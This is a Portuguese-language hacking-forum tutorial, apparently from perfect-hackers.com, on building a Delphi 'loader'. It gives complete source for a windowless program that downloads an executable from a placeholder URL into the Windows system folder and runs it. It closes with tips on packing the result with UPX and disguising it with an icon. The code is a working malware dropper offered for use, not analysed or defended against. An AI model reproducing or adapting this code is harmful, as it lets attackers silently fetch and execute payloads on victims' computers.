Tutorial Criando um Loader em Delphi

[lulzsec1]

LOADER:

Código:

Abra seu Delphi.
Clique em File>Close All
Agora sem nenhum projeto aberto, vá em File>New>Other...
Selecione Console Application e dê Ok


Maximize a janela que apareceu no canto esquerdo embaixo.
Você vai ver isso:


Altere a linha

{$APPTYPE CONSOLE}

Para

{$APPTYPE GUI}

Isso fará que sua aplicação não rode em DOS e sim em Windows.

Agora vá em File>Save All e salve seu projeto em alguma pasta com o nome de Loader.dpr


Agora adicione os seguintes comandos
program Loader;

{$APPTYPE GUI}

uses
Windows, UrlMon;

function Path_(Dir: string): string;
begin
Result := Dir;
if (Dir[Length(Dir)] <> '\') then
Result := Dir + '\';
end;

function PASTA: string;
var
MeuBuffer: Array [0..255] of Char;
retorno: Integer;
begin
retorno := GetSystemDirectory(@MeuBuffer, SizeOf(MeuBuffer));
if (retorno > 128) or (retorno = 0) then
PASTA := ''
else
PASTA := MeuBuffer;
end;

begin
URLDownloadToFile(nil, 'http://seusite.com/programa.exe&amp;#39;,
PChar(Path_(PASTA) + 'nome.exe'), 0, nil);
WinExec(PChar(Path_(PASTA) + 'nome.exe'), SW_NORMAL);
end.

Agora vá em Project>Build Loader
E será criado um arquivo chamado Loader.exe na pasta que você salvou o projeto.

Ele tem 15Kbytes.

Mais se usar um compactador pode diminuir até para 9KB

Caso você deseje adicionar um ícone utilize o ResHacker para adicionar o ícone porém faça antes de comprimir com o UPX porque depois não dá mais...

Creditos: Psychlo

font perfect-hackers.com